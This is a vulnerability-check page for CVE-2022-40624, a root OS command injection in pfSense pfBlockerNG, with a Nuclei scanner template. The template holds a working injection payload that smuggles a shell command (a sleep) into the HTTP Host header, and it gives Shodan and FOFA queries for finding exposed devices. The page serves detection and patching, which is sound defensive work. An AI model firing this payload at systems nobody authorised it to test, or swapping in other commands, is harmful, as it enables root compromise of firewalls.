pfSense pfBlockerNG - OS Command Injection

criticalseverity

9.8CVSS score

18.3%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

pfSense pfBlockerNG through 2.1.4_27 allows remote attackers to execute arbitrary OS commands as root via the HTTP Host header.

Impact

Allows remote attackers to execute arbitrary code on the affected system

Fix

Update to the latest version of pfSense pfBlockerNG to mitigate CVE-2022-40624

How to confirm it

Send: GET /pfblockerng/www/index.php
Positive when: contains(body, "GIF") and contains(content_type, "image/gif")
Send: @timeout: 20s
Positive when: duration>=7

Run it with nuclei: nuclei -id CVE-2022-40624 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-40624

info:
  name: pfSense pfBlockerNG - OS Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    pfSense pfBlockerNG through 2.1.4_27 allows remote attackers to execute arbitrary OS commands as root via the HTTP Host header.
  impact: |
    Allows remote attackers to execute arbitrary code on the affected system
  remediation: |
    Update to the latest version of pfSense pfBlockerNG to mitigate CVE-2022-40624
  reference:
    - https://github.com/dhammon/pfBlockerNg-CVE-2022-40624
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40624
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-40624
    cwe-id: CWE-78
    epss-score: 0.1825
    epss-percentile: 0.9724
    cpe: cpe:2.3:a:pfsense:pfblockerng:*:*:*:*:*:*:*:*
  metadata:
    vendor: pfsense
    product: pfblockerng
    shodan-query: "pfBlockerNG"
    fofa-query: "pfBlockerNG"
  tags: cve,cve2022,pfsense,pfblockerng,rce,sqli,netgate,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /pfblockerng/www/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "GIF")'
          - 'contains(content_type, "image/gif")'
        condition: and
        internal: true

  - raw:
      - |+
        @timeout: 20s
        GET /pfblockerng/www/index.php HTTP/1.1
        Host: {{Hostname}}' *; sleep 7; '

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - duration>=7

References

Use this check only on systems you are authorised to test. Where the data comes from